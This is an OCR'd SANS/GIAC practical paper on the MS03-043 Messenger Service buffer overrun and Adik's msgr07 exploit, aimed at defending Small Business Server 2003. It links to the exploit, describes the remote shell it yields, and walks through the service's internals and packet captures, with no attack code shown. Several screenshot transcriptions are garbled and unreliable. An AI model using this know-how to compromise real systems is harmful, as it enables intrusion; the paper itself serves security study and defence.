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Abstract

In this paper, we examine the Microsoft Messenger Service Buffer Overrun Vulnerability
and the associated MS Messenger Service Heap Overflow Exploit (MS03-043) ver 0.7
by Adik in the context of attacking and defending Microsoft Small Business Server 2003
(SBS 2003) from Internet based exploits. We look at Adik’'s Messenger Service exploit
in detail and see if SBS 2003’s default configuration is up to the task of protecting small
business users from the dangers of life on the wild, wild, Internet. In the process, we
examine the good, the bad, and the ugly (or perhaps, the beauty) of Microsoft SBS
2003 and see how a small business can implement an incident handling process.

Statement of Purpose

Microsoft SBS 2003 is marketed and sold as a complete IT Infrastructure solution for
small businesses’. It can be purchased in two flavors, Standard Edition or Premium
Edition. Standard Edition includes the following components:

Windows Sever 2003 - core server services

e File & print

e DNS

e DHCP

¢ Active Directory

Internet Information Server (11S) - Internet services
e Web
e FTP

SharePoint - Intranet and collaboration services

Exchange Server 2003 - email services
Premium Edition adds SQL Server 2000, ISA Sever 2000, and FrontPage 2003.
Standard Edition is the focus of this paper.
Microsoft SBS 2003 is typically installed by end users or technology providers with
limited information security expertise using the standard Microsoft provided defaults for
each SBS component. Microsoft claims to provide secure default settings, configuration
wizards, and checklists to guide the installer in making SBS a safe and secure platform
from which to do business over the Internet.
But so many Microsoft technologies, all installed on a single server, must make SBS

2003 an inviting target for an attack. And how could a small business with limited IT
resources implement a proper incident handling process if there were to be an attack?

! Small business defined as business with 50 or fewer desktops
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We will test Microsoft’s security claims for SBS 2003 by attempting a remote
compromise of a SBS 2003 server installed and configured using default settings. Our
exploit is Adik’'s MS Messenger Service Heap Overflow Exploit (MS03-043) ver 0.7 that
targets the recently announced Microsoft Messenger Service Buffer Overrun
Vulnerability.

The Exploit

Name

MS Messenger Service Heap Overflow Exploit (MS03-043) ver 0.7 by Adik
(http://downloads.securityfocus.com/vulnerabilities/exploits/msgr07.c)

The exploit is referred to as msgr07 throughout the rest of this paper.

This exploit gives the attacker a remote command shell on the target host with
LocalSystem privileges. The attacker may then run any number of other exploits and
actions on the target host, such as:

Install rootkits and/or backdoor remote controls programs,
View, change, or delete data,
Create new user accounts with full privileges.

In hacker jargon, the successful execution of msgr07 means “joo h@v3 b33n Own3d!

msgr07 exploits the following vulnerability as described in the SecurityFocus
Vulnerability Database (http://www.securityfocus.com/bid/8826):

Name: Microsoft Messenger Service Buffer Overrun Vulnerability

Bugtraq ID: 8826

CVE : CAN-2003-0717

Published: Oct 15 2003

Remote: Yes

Local: No

Vulnerable Systems:
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
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Microsoft Windows 2000 Server SP4

Microsoft Windows 2000 Server SP3

Microsoft Windows 2000 Server SP2

Microsoft Windows 2000 Server SP1

Microsoft Windows 2000 Server

Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Enterprise Server 4.0 SP6
Microsoft Windows NT Enterprise Server 4.0 SP5
Microsoft Windows NT Enterprise Server 4.0 SP4
Microsoft Windows NT Enterprise Server 4.0 SP3
Microsoft Windows NT Enterprise Server 4.0 SP2
Microsoft Windows NT Enterprise Server 4.0 SP1
Microsoft Windows NT Enterprise Server 4.0
Microsoft Windows NT Server 4.0 SP6a

Microsoft Windows NT Server 4.0 SP6

Microsoft Windows NT Server 4.0 SP5

Microsoft Windows NT Server 4.0 SP4

Microsoft Windows NT Server 4.0 SP3

Microsoft Windows NT Server 4.0 SP2

Microsoft Windows NT Server 4.0 SP1

Microsoft Windows NT Server 4.0

Microsoft Windows NT Terminal Server 4.0 SP6
Microsoft Windows NT Terminal Server 4.0 SP5
Microsoft Windows NT Terminal Server 4.0 SP4
Microsoft Windows NT Terminal Server 4.0 SP3
Microsoft Windows NT Terminal Server 4.0 SP2
Microsoft Windows NT Terminal Server 4.0 SP1
Microsoft Windows NT Terminal Server 4.0
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6
Microsoft Windows NT Workstation 4.0 SP5
Microsoft Windows NT Workstation 4.0 SP4
Microsoft Windows NT Workstation 4.0 SP3
Microsoft Windows NT Workstation 4.0 SP2
Microsoft Windows NT Workstation 4.0 SP1
Microsoft Windows NT Workstation 4.0

Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition

Microsoft Windows XP 64-bit Edition Version 2003
Microsoft Windows XP Home SP1

Microsoft Windows XP Home

Microsoft Windows XP Professional SP1

Microsoft Windows XP Professional
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Common Vulnerabilities and Exposures (CVE) has cataloged this vulnerability as
candidate CAN-2003-0717 (http://cve.mitre.org/cgi-bin/cvename.cqi?name=CAN-2003-
0717)

CERT/CC has issued Vulnerability Note VU#575892 titled “Buffer overflow in Microsoft
Messenger Service” (www.kb.cert.org/vuls/id/575892).

Microsoft has issued Microsoft Security Bulletin MS03-043 titled “Buffer Overrun in
Messenger Service Could Allow Code Execution (828035)”
(www.microsoft.com/technet/security/bulletin/MS03-043.asp).

Note: The Last Stage of Delirium Research Group (LSD) gets credit for discovering the
Messenger Service vulnerability. See http://Isd-pl.net/ for LSD’s announcement.

Operating System
See SecurityFocus reference above.

Protocols/Services/Applications
The msgr07 exploit relies on a bug in the Windows Messenger Service.

Messenger Service - What is it?

The Messenger Service is responsible for processing “net send” messages and
messages generated by the Alerter service. The message is delivered over the
network. These “popup” messages can be notices sent from the system administrator
of a network to client computers informing the users of some network wide event or
action. For instance, an administrator may send a message to users to log off their
workstations at a certain time so maintenance can be performed on the network
servers. The command to accomplish this action could look like this:

=+ Command Prompt

t send = Please logoff by 5:88 PM Wed. Dec. 18 for system maintenance — Thes
lanks — SYSADMIMN
The message was successfully sent to domain GIACBIKES .

(RN

The * in the net send command indicates the message should be sent to all computers
in the sender’s computer domain.

The execution of this command would result in each user on the network getting a
popup message that looks like this:

Messenger Service E

Message From XPWES to GIACEBIEES on 120972003 9:18:11 AM

Please logoff by S:00 PM wWed, Dec, 10 for system maintenance - Thanks - SYSADMIMN
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Other Windows programs and services can tap the functionality of the Message Service
to send messages to users. It is sometimes used to inform users that print jobs are
complete or inform system administrators when problems occur with servers.

Note: The Messenger Service is not the same as messaging services provide by email,
web browsing, or instant messaging programs such as Windows Messenger, MSN
Messenger or AOL Instant Messaging.

The Messenger Service is enabled by default on all vulnerable NT based versions of
Windows operating systems except Window Server 2003.

ISS Security Alert “Vulnerability in Microsoft Windows Messenger Service”
(http://xforce.iss.net/xforce/alerts/id/156) notes that the Messenger Service has a long
history in Microsoft Operating Systems. The service was originally included in IBM’s
0OS/2 operating system to mimic the functionality of the UNIX commands “wall” and
‘rwall”. The first version of Windows NT (NT 3.1) was based in part on OS/2, so NT
inherited the Messenger Service and it has been included in every version of the NT
family of operating systems up to and including Windows Server 2003.

The ISS Security Bulletin also notes that the Window 9x family of operating systems
includes similar functionality to the Messenger Service in a program called
Winpopup.exe. Winpopup.exe is not installed by default on 9x systems, but many
administrators include it in corporate deployments of 9x so administrative messages can
be received by all users. There is no evidence at this point that the Winpopup.exe
program on Windows 9x systems is vulnerable to the msrg07 exploit.
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Messenger Service - How does it work?
By going to Control Panel / Administrative Tools and running the Services applet, we
can bring up the properties page for the Messenger Service (Figure 1).

Messenger Properties {Local Computer) 21x]

General | Log Dnl Hecover}ll Dependenciesl

Service name: I ezzenger

Dizplay hame: m

Transmits net zend and Alerter service messages ;I
between clients and servers. This service is not LI

Description:

Fath to executable:
C:AWINDOWS S ystem32hevhost. exe -k netsvis

Startup type: Automatic j

Service status:  Started

Start | Stap | Pauge Besume |

‘You can specify the start parameters that apply when vou start the service
fram here.

Start parameters: I

QK I Cancel Lpply

Figure 1

The first thing we notice is that the Messenger Service runs under svchost.exe in the
netsvcs group (Figure 1). Because of this, we won’t find the Messenger Service in the
process list in Task Manager (Figure 2). Instead, we see an instance of svchost
running.

Bl windows Task Manager 101 x|

File Options Yiew Help

Applications ~ Processes |Performance | Metworking |

Image Mame | Lser Marne | CPL | CPLI Tirme: I [Mern Lisage | ;I
RAaUAgent.exe jepurcel ao 0:00:00 2,612K
Services ., exe SHWSTEM [aln) 0:00:05 3,624 K
SMSAPM3Z.exe SMECliToknLocalAcctRE78G711 ad 0:00:01 484 K
SMSMon32 . exe jepurcel [aln) 0:00:00 152 K
SMSS, EXE SYSTEM ao 0:00:00 3K
spoolsy, exe SYSTEM oo 0:00:02 3,092 K
sqlmangr.exe jepurcel oo 0:00:01 2,068 K
SYSTEM 0:00:00
0:03:14
MNETWORK SERVICE 0:00:00
svchost, exe LOCAL SERVICE ao 0:00:00
System SHWSTEM [aln) 0:02:48
Syskem Idle Process  SYSTEM a9 70:55:56
taskmgr.exe jepurcel oo 0:00:01
trolisten, exe SYSTEM uli} 0:00:01
WCESCOMIM, EXE jepurcel [aln) 0:00:00
winlogon.exe SYWSTEM ao 0:03:16
WINWORDEXE jepurcel oo 0:00:11 33,032 K |-
WUserszZ.exe SYSTEM ao 0:00:00 440 K hd
¥ show processes from all users End Process |
|Pr0cesses: 31 CPU Usage: 0% |C0mmit Charge: 1710 [ 10090 | 4
Figure 2

Microsoft creates groups of operating system services DLLs in a registry entry and
loads them all together using svchost. Microsoft Knowledge Base Article 314056 “A

Page 7 of 116 — Attacking and Defending SBS 2003
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



Description of Svchost.exe in Windows XP”
(http://support.microsoft.com/default.aspx?scid=kb;en-us;314056) describes the
function of svchost like this:

The Svchost.exe file is located in the %SystemRoot%\System32 folder. At startup,
Svchost.exe checks the services portion of the registry to construct a list of services that
it needs to load. Multiple instances of Svchost.exe can run at the same time. Each
Svchost.exe session can contain a grouping of services, so that separate services can
run, depending on how and where Svchost.exe is started. This allows for better control
and easier debugging.

Svchost.exe groups are identified in the following registry key:
HKEY _LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Svchost

Each value under this key represents a separate Svchost group and is displayed as a
separate instance when you are viewing active processes. Each value is a
REG_MULTI_SZ value and contains the services that run under that Svchost group.
Each Svchost group can contain one or more service names that are extracted from the
following registry key, whose Parameters key contains a ServiceDLL value:

HKEY _LOCAL_MACHINE\System\CurrentControlSet\Services\Service

¢t Command Prompt

C:s>tasklist sswc

Image Mame Services

System Idle Process

Eventlog,. PlugPlay

lsass.exe get%ogun, PolicyAgent, ProtectedStorage.
anSs

suchost .exe RpcSs

suchost .exe AudioSrv. Browser. CryptSvc,. Dhep. dmserver.
ERSvc,. EventSystem. helpsvc. lanmanserver.
lanmanworkstation. Messenger. Netman. HNla.
Schedule,. seclogon, SEMNS, ShellHWDetection.
srservice,. TermService. Themes, TrkWks.
uploadmgr, W3I2Time, winmgmt, WmdmPmSp,
wuausery. WEZCSUGC
Dnscache
LmHosts,. RemoteRegistry, SSDPSRU,. UebClient
Spooler

Figure 3

By entering the command “tasklist /svc”, we see that the Messenger Service is loaded
by svchost.exe in a group that includes many networking services (Figure 3).

Note: This grouping can vary by Windows version.
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To find which DLL is executed by svchost when the Messenger Service is executed, we
can examine the Windows registry searching for the Messenger Service (Figure 4).

Reqgistry Editor

File Edit Wiew Faworites Help

~10l x|

D K5echD ;I Mame Tvpe | Data
-1 lanmanserver [ab(Default) | REG_SZ {value rot set)
- lanmanwierkstation [B]DeperdonGroup  REG_MULTI_S2
{:l IbrtFdc [ab]Cependonservice  REG_MULTI_SZ Lanman'wWorkstation MetBIOs PlugPlay Rpess
D IFIap _ Description REG_SZ Transmits net send and Alerter service messages bety
g pCElEE=Sitics DisplayName REG_S7 Messenger
" = r':qu“ts %] Errarcontral REG_DWORD 000000001 (1)
E....{:.Tzi:?:r _I ImagePath REG_ExPAMND_SZ eSystemRoot) System32  sychost exe -k netsves
D Parameters Ob]ectName REG_SZ LocalSwstem
L L@ securty Start REG_DWORD 000000002 (2)
-5 mnmdd %] Tvpe REG_DWORD 000000020 (32)
D MAMSFYC
CI Modem
-] Mouclass
Cl mraid35:x
- MRxDAY
-2 MRxsmb -
Kl o L

|My Computer\HKEY _LOCAL_MACHINELSYSTEM CurrentControlSet! Services|Messenger

[
/Z

Figure 4

We see that the information in the registry matches the information we saw in the

Messenger Service display from the Services applet from Control Panel we ran

previously.

& Registry Editor

Eile Edit Miew Favorites Help

=l

Kl

-] KSechD
-3 lanmanserver

- lanmarworkstation

w0 Ibrtfde
--{:I Licenseservice
D LmHasts
=11 Messenger

-2 mnmdd
-0 mnmsryc
-2 Modem
- Moudass
-3 MounkMgr
-0 mraidagx
-0 MRxDaY
G- MRxSmb

=

Marme

Tvpe

| Daka

[ |

sl

[ab]¢Default)
SBrviceDII

4]

REG_SZ
REG_EX¥PAND_SZ

{walue not set)
%o SystemRook3s) System32 magssc.dll

|Mv CarmputeriHKEY _LOCAL_MACHIMEYSYSTEM\CurrentControlSet) Services|Messenger|Parameters

a =

Figure S

By looking at the Parameters registry key for the Messenger Service (Figure 5) we find
that msgsvc.dll is the program that actually gets executed when the Messenger Service

is invoked.
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Messenger Properties {Local Computer)} ?| X|

General LogOn I Flecover_l,ll Dependenciesl

ik
I Allowe service bo interact with desktop

= This account: I Browse... I
Eazzword: I
LConfirm passvsond: I

You can enable or disable thiz service for the hardware profiles lizted belows:

Hardwsare Frofile | Service |
Frofile 1 Enabled

Enable | Disable

QK. I Cancel I Lppl

Figure 6

Going back to the Control Panel / Administrative Tools / Services applet (Figure 6), we
see that the Messenger Service runs under the LocalSystem account by default. This is
important to note since the LocalSystem account has privileges nearly equal to the
Administrator (or root) account. If an attacker can compromise the Messenger Service,
then the attacker will have all the needed administrative privileges on the system to
carry out further malicious activities.

Messenger Properties (Local Computer) ?| Xl

General | LogOn | Recovery Dependencies I

Some zervices depend on other zervices spstem drivers and load order
groupz. |f a spstem component iz stopped ar iz not running properly,
dependent zervices can be affected.

Mezzenger

Thiz service depends on the following spstem components

=1

ey Plug and Play
i % Rermote Procedure Call [RPC]
- Workstation

The following spstem components depend on this semwice

----- ~iJ <Moo Dependenciess

Ok I Cancel I Apply

Figure 7

Next we look at the service dependencies for the Messenger Service (Figure 7). These
are services that must be functioning for the Messenger Service to operate. The
important ones to note here are the NetBIOS Interface and the Remote Procedure Call
(RPC) dependencies. NetBIOS and RPC provide the underlying network services to
allow the Messenger Service to communicate over the network with remote hosts.
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To sum up so far, the Messenger Service is based on the msgsvc.dll program that is
loaded into memory at system startup by svchost. msgsvc.dll runs as the LocalSystem
user and therefore has high privileges. The Messenger Service depends on the
NetBIOS and Remote Procedure Call (RPC) services to communicate over the network.
Now that Messenger Service is loaded and ready for action, let’s look at the how the
Messenger Service works over the network.

To understand how Messenger Service works at the network level, we will examine the
network packets generated by executing a “net send” command to send a message
from one computer to another over a TCP/IP network.

In this example, the sending computer is a Windows 2003 Server and the receiving
computer is a Window XP Workstation. The sending and receiving computers are on
the same network segment and are in the same computer network domain. Both
machines are running TCP/IP with NetBIOS over TCP/IP disabled.

Let’s use the “net send” command to send a message from one machine to another and
see what packets we capture with Ethereal.

¢+ Command Prompt

C:x>net send 192.168.1.3 Please log off by 5:88 PM on Wed. Dec. 1§
intenance — Thanks,. SYSADMIM
The message was successfully sent to 192_168.1.3.

LR

Figure 8

Message from SBS2003 to 192.168.1.3 on 12/10/2003 9:31:27 AM

Please log off by 5:00 PM on Wed. Dec. 10 for system maintenance - Thanks, SYSADMIN

Figure 9

Here is the net send command sending a message from host SBS2003 (192.168.1.2)
(Figure 8) and the resultant popup message on the target host (192.168.1.3) (Figure 9).
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@ <capture> - Ethereal E]@

File Edit Capture Display Tools Help

Protocol

Source Destination

1 ( Viware_ga;laidl Eroaccast Fi s £ 10 68,1, 2
2 0.000231 vmware_bf:38:de vmware_ee:l6:45 ARP 192.168.1.3 ds at 00:0c:2%:hbf:38:de
3 0.004721 1952.168.1.2 5233 152.168.1.3 125 DCERPC  Request: seqg_num: O opnum: 0
4 0.007383 192.168.1.3 1032 192.168.1.2 5233 CONY conv_who_are_you reguest actuid: 3baldazf-ez
5 0.012760 192.168.1.2 5233 1582.168.1.3 1032 CONY comv_who_are_youz reply seq:0 st:SUCCESS cas
5 0.013406 152.168.1.3 1052 192.168.1.2 5233 DCERPC  Ack: seg_num: O
7 o0.016215 192.1468.1.3 1027 192.168.1.2 5233 DCERPC  Response: seg_num: O opnum: 47078
8 0.064706 152.168.1.2 5233 152.168.1.3 1027 DCERPC  Ack: segonum: O
M | =
B Frame 1 60 bytes on wire, 60 hbytes captured) A
B Ethernet II, sSrc: 00:0c:29:ee:16:45, Dst: FF:ff:ff:ff:fF:ff
pestination: FF:fF:ff:Ff:f:ff (Broadcast)
source: 00:0c:2G:88:16:45 (vmware_ee:16:45)
Type: ARP (Ox0S8060
Trailer: 9026F30F5018446C0EFEOCOOOO0000SF. . .
B address Resolution Protocol (reguest)
Hardware type: Ethernet (0x0001)
Protoco] type: IP (Ox08500)
Hardware size: &
protocol size: 4
opcode: request (Ox000L)
sender MAC address: 00:0c¢:29:ee:16:45 (vmware_ee:16:45)
sender IP address: 192.168.1.2 (192.168.1.2)
Target Mac address: 00:00:00:00:00:00 (00:00:00_00:00:000
Target IP address: 192.168.1.3 (192.168.1.3)
= 1
oooo  fFfF £Ff £F £Ff £Ff £f 00 0c 29 ee 16 45 08 06 00 01 ........ T EE s [=
0010 08 00 06 04 00 0L 00 Oc 29 ee 16 45 <0 a8 01 02 ........ FowE
00z20 00 00 00 00 00 00 <O a8 01 03 %0 26 f3 OfF 5018 ........ ... & P,
0030 44 6¢ 0b fe 00 00 00 00 00 &F ff 53 | a8 e s J
£

Fi\ter:“ _/] ReselJ Apply ]File' <capture> Drops: 0
Figure 10

Note: Ethereal is a network packet sniffer with a graphical interface. It runs on both
Windows and Linux platforms. The top Ethereal window contains the captured network
traffic packets. It shows addressing and protocol information about each packet. The
middle Ethereal window shows details of the highlighted packet from the first window.
Finally, the bottom Ethereal window shows the actual data contained in the highlighted
packet.

The 8 packets captured by Ethereal (Figure 10) show the network traffic between the
communicating hosts generated by the net send command. Packets 1 and 2 are
Address Resolution Protocol (ARP) packets that provide the Media Access Control
(MAC) address that is needed by the sending host to communicate with the receiving
host. ARP translates the logical IP address of a host to the physical hardware address
of the host network card. So packet 1 is a broadcast (note destination Ethernet address
of ff.ff:ff:ff:ff:ff) to the network asking who has the MAC address of the host with IP
address of 192.168.1.3.

Page 12 of 116 — Attacking and Defending SBS 2003
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



@ ethereal - Ethereal g@

File Edit Capture Display Tools Help
Ma. . JTime JSource iSrcF'on IDestination IDestF'Drt ]F'rotocol I\nfo

1 Broadcast ARP who has 192.168.1.37 Tell 1%2.168.1.2

2 (] D38 Vimware_ge:l6:45n 1502.168.1.3 15 at O 2G:ht:38:de

30 2 5233 152.168.1.3 135 DCERPC  RequestT: seg_num: O opnum: O

4 0.007383 192.168.1.3 1032 192.168.1.2 5233 CONW corv_who_are_you reguest actuid: 3baldazf-ez

5 0.0127600 192.168.1.2 5233 192.168.1.3 1032 CONY com_who_are_youZ reply seq:0 st:SUCCESS cas

6 0,0134056 192.168.1.3 lo3z2 192.168.1.2 5233 DCERPC  Ack: seg_num: O

7 o0.016215 192.168.1. 3 loz27 192.168.1.2 5233 DCERPC  Response: seq_num: O opnum: 47078

8 0.064708 152.168.1.2 5233 1%2.1468.1.3 loz27 DCERPC  Ack: seg_num: ©
| | =
HFrame 2 42 hbytes on wire, 42 bytes captured) M
B Ethernet II, Src: 00:0cC:29:bf:38:de, Dst: 00:0C:29:ee2:16:45

pDestination: 00:0C:20:ee:16:45 (vVmware_eeg:l6:45)

source: 00:0c:29:bf:38:de (vmware_bhf:38:de)

Type: ARP [0Ox0806)
Eaddress resolution Protocol (replyd)

Hardware type: Ethernet (0x0001)

Protocol type: IP (0x0800)

Hardware size: &

Protocol size: 4

opcode: reply (Ox00020

sender MAC address: 00:0c:29:bf:38:de (vmware_bf:38:de)

sender IP address: 192.168.1.3 (192.168.1.3)

Target MAC address: 00:0c:29:ee:16:45 (vmware_ee:16:45)

Target IP address: 192.168.1.2 (1%2.168.1.2)
= 1
0000 00 Oc 29 ee 16 45 00 0c 29 bf 38 de 0B 06 00 01 Gl EE G, IR =
0010 08 00 06 04 00 02 00 0c 29 bf 38 de <0 a8 01 03 ........ DB
0020 00 0c 29 ee 16 45 <0 a8 01 02 [ I = D J

£

Filter: | _/J Resetj Apply]] File: ethereal
Figure 11

Packet 2 (Figure 11) is the ARP response from the host who has IP address
192.168.1.3 returning the host's MAC address. The hosts are now ready to talk.

Note: The ARP traffic normally occurs only when the two hosts communicate for the first
time (or after a reboot). This is because a host will store ARP information (IP and MAC
address) in an ARP table in memory. To see the ARP table for your computer you can
type the command “arp -a”.

See RFC 826 — “Ethernet Address Resolution Protocol: Or converting network protocol
addresses to 48.bit Ethernet address for transmission on Ethernet hardware” -
http://www.fags.org/rfcs/rfc826.html for more information on the APR protocol.
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@ ethereal - Ethereal E]

File Edit Capture Display Tools Help
Mo, . ITime ISource 1SrcF'0n IDestination IDestF’or‘t IF'rotocoI Jlnfo

1 0.000000 vmware_ee;16:45 Eroadcast ARP who has 1%2.168.1.37 7Tell 152.168.1.2

2 0.000231 vimware_bf:38:de vmware_ee:l6:45 ARP 1592.168.1.3 is at 00:0c:29:bf:38:de

152

3 0.004721 102,

4 0.007383 192.168.1.3 1 192 2 5233 CoNY corv_who_are_you request actuid: 3baldazf-e2
5 0.012760 192.168.1.2 5233  192.168.1.3 1032 cony cormv_who_are_youz reply seq:0 st:SUCCESS cas
6 0.013406 192.168.1.3 1032  192.168.1.2 5233 DCERPC  Ack: seq_num: O
7 o0.016215 192.168.1.3 lo27 192.168.1.2 5233 DCERPC  Response: seg_num: O opnum: 47076
8 0.064706 192.168.1.2 5233 192.168.1.3 1027 DCERPC  Ack: seq num: ©
=] T =
(&

HFrame 3 (262 bytes on wire, 262 hbytes captured)
EEthernet II, Src: 00:0c:2%:ee:l6:45, Dst: 00:0c:29:hf:38:de
EInternet Protocol, src Addr: 192.168.1.2 (192.163.1.20, Dst aAaddr: 192.168.1.3 (192.168.1.3)
B User Datagram Protocol, Src Port: 5233 (52330, Dst Port: epmap (1352
E DCE RPC
version: 4
Packet type: Reguest (00
HFlagsl: 0x08
EHFlagsz2: 0x00
Erata Representation: 100000
serial High: oxoo
ohbject UUID: 00000000-0000-0000-0000-000000000000
Interface: 5a7hslfe-ffo0-11d0-ashz-00co4fhaeafc
Activity: 3baldazf-e27d-4600-bebd-a56kb513221bc
server boot time: 0x00000000
Interface ver: 1
Sequence num: 0
ophum: 0
Interface Hint: Oxffff
Activity Hint: OxfFFff

Fragment len: 140 /
= T
0080 00 00 08 00 Q0 00 53 42 53 32 30 30 33 00 0C Q0  ......5B 5200%... &
00%0 00 00 00 00 00 00 Oc 00 00 00 31 3% 32 Ze 31 36 L..uieee oo 192.18
00a0 38 Z2e 31 Z2e 33 00 54 00 00 00 00 OO 00 00 54 0O BoLla 30T, wuwwaalis
Q0b0 Q0 00 50 6 65 61 73 65 20 6c &6f 67 20 &f 66 66 ..Please log off
00cO 20 62 79 20 35 3a 30 30 20 50 4d 20 ef 6= 20 57 by 5:00 PM oOn W
oodo 65 64 2e 20 44 65 63 2e 20 31 30 20 66 6F 72 20 ed. pec. 10 for
Q020 73 79 73 74 65 6d 20 6d 61 69 Ge 74 65 Ge 61 Ge system m aintenan
oofo 83 65 20 2d 20 54 68 81l 6e 6b 73 2< 20 53 59 53 ce - Tha nks, Svs
0100 41 44 4d 49 4e 00 ADMIN. v
Filter:“ _/] Resel] Apply“ File: ethereal

Figure 12

Packet 3 (Figure 12) is where most of the action takes place from our “net send”
command. Notice in the middle Ethereal window that packet 3 is broken out into its
component headers. Each header contains the information needed by the network to
move the data along the network or to allow the host computer to process the data.
This processing takes place in conceptual network layers that are described in the OSI
and Internet network models. The Internet Networking model consists of four layers.
The Network Interface layer handles the physical movement of the data over the
network wire and into the Network Interface Card (NIC). The Internet layer is where IP,
ARP, and other protocols live and whose job is to deliver our packets over the network.
The Transport layer protocols TCP and UDP facilitate communications between host
computers. The Application layer processes the information that is sent over the
network for the end user.

A good explanation of the Internet model and a comparison to the OSI model can be
found at “Introducing TCP/IP” -
http://tutorials.findtutorials.com/read/category/99/id/393/p/2.

The Frame header and Ethernet Il header describes information used at the Network
Interface layer. Notice that this layer deals with the hardware MAC addresses. The
Internet Protocol (IP) header corresponds to the Internet layer and deals with the IP
addressing for each communicating host. These first three headers would be the same
for any IP based network communications that occurs between these two hosts over
this network.
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The User Datagram Protocol (UDP) header at the Transport layer begins to give us
some clues on how the “net send” command works. We see that the sending host used
port 5233 to send the message to port 135 on the receiving host. UDP port 135 is used
by the RPC process to listen for communications requests. This RPC process is the
end-point mapper (epmap).

Note: Since UDP is a “connectionless” protocol, there is no acknowledgement response
back from the receiver to the sender. There is no “three way handshake” as we see in
the TCP connection oriented protocol. The sender assumes that the receiver will get
the UDP packet. As we will see, acknowledgement that the message is received is
handled later.

Note: Sometimes there is confusion about TCP/IP destination and sending port
numbers. Hosts “listen” on well known port numbers for traffic sent to that host’s IP
address and port number (called a socket). The sending host picks an unused port
number above 1023 at random to initiate the communications. The receiving host then
knows to send information back to the senders IP address and selected port because
this information is part of the packet header. So in our case, one host is “listening” on
UDP port 135 for any UDP traffic addressed to its IP address. The sending host knows
that UDP port 135 will be open to receive the traffic sent to it and that the receiving host
can communicate back to the sender using the now open port that was selected (port
5233 in our case).

See “PORT NUMBERS?” - http://www.iana.org/assignments/port-numbers for the
authoritative list of all TCP and IP port numbers.

Port 135 (both TCP and UDP) is the port the RPC endpoint mapper listens on for
network traffic.

In Microsoft Security Bulletin MS01-048 “Malformed Request to RPC Endpoint Mapper
can Cause RPC Service to Fail” -
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS
01-048.asp, the RPC endpoint mapper is described:

The RPC endpoint mapper allows RPC clients to determine the port number currently
assigned to a particular RPC service.

RPC (Remote Procedure Call) is a technology that’s used extensively to support
distributed applications -- that is, applications whose various components are located on
different computers. The primary purpose of RPC is to provide a way for the components
to communicate with each other. This allows the components to levy requests on each
other and communicate the results of these requests.

What'’s the RPC endpoint mapper?
Every RPC service that uses IP based protocol uses a TCP or UDP port to communicate

with its clients. However, in most cases, ports are assigned to RPC services
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dynamically. As a result, an RPC service that’s available on two different machines may
use a different port on each. Likewise, an RPC service on a single machine may use a
different port every time the machine is rebooted. There has to be a way for clients to
find the right port for a particular RPC service on a particular machine.

This is what the RPC endpoint mapper service does. Before starting a session with an
RPC service, a client first consults the endpoint mapper service on the server to
determine the port over which the service currently operates. It then begins
communicating directly with the service.

The next header in the packet is the payload for the Application layer Messenger
Service. It is data the Messenger Service needs to display our message on the
receiving host. The Distributed Computing Environment Remote Procedure Call
(DCERPC) protocol defines a standard way for host processes to communicate over a
network. It provides a way for processes to “call” other processes over the network as if
the programs were located on the same host.

The DCERPC protocol data provides the Messenger Service running on the receiving
host the information necessary to display the “popup” message on the screen. We can
see the actual message in the third Ethereal window at the bottom of the screen shot as
well as the sending host name and the receiving host |IP address (Figure 12).

@ ethereal - Ethereal E@
File Edit Capture Display Tools Help |
Mo. . ]Time ]Source 1SrcF'on IDeslination IDestF‘on IF'rotocnI Ilnfo

1 0.000000 vmware_ee:16:45 Eroadcast ARP who has 192.168.1.37 Tell 192.168.1.2

2 0.000231 vmware_bf: vmware_ee:16:45 ARP 192.168.1.3 s at 00:0c:29:bf:38:de

3 0. Al 5233 : 135 DCERPC__Reguest: 5 e0_num: 0 ophum: O

40,0073 7 2 QMY COMy_wWhio_are_yio : 3hald

5 0. g 1.2 5233 192. 1.3 COMY cornw_who_are_youz reply seq:o st SUCCESS <as

5 0.0013406 192.168.1.3 1032 192.168.1.2 5233 DCERPC  Ack: seq_num: O

Y 0.016215 1%2.168.1.3 1027 1%2.168.1.2 5233 DCERPC  Response: sed_num: 0 opnum: 47078

8 0.0684706 152.168.1.2 5233 152.168.1.3 1027 DCERPC Ack: seg_num: O
N I =
EFrame 4 (142 bytes on wire, 142 bytes captured) =

EEthernet II, Src: 00:0c:29:bf:38:de, Dst: 00:0cC:29:ee:l6:45
EInternet Protocol, Src Addr: 192.168.1.3 (192.168.1.3), Dst addr: 192.168.1.2 (192.168.1.2)
[ User Datagram Protocol, Src Port: 1032 (10320, Dst Port: 5233 (5233)
EH DCE RPC
B DCES/RPC Conversation Manager
operation: who_are_youz (17
hf_conv_who_are_youz_rgst_actuid: Zbaldazf-e27d-4600-bebd-296b513221bc
hf_conv_who_are_youz_rgst_boot_time: Dec 8, 2003 085:44:13.000000000

[

[N |

Filter “ _/] Reset] Apply“ File: ethereal

Figure 13
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@ ethereal - Ethereal Q

File Edit Capture Display Toaols Help |
Mo, . ]Time ISUur:e 1SFCPUI’1 IDeslinaliUn IDESIF‘UH JF'rUlUcU\ ]Infu

1 0.000000 vmware_se:16:45 Broadcast ARP who has 192.168.1.37 Tell 192.168.1.2

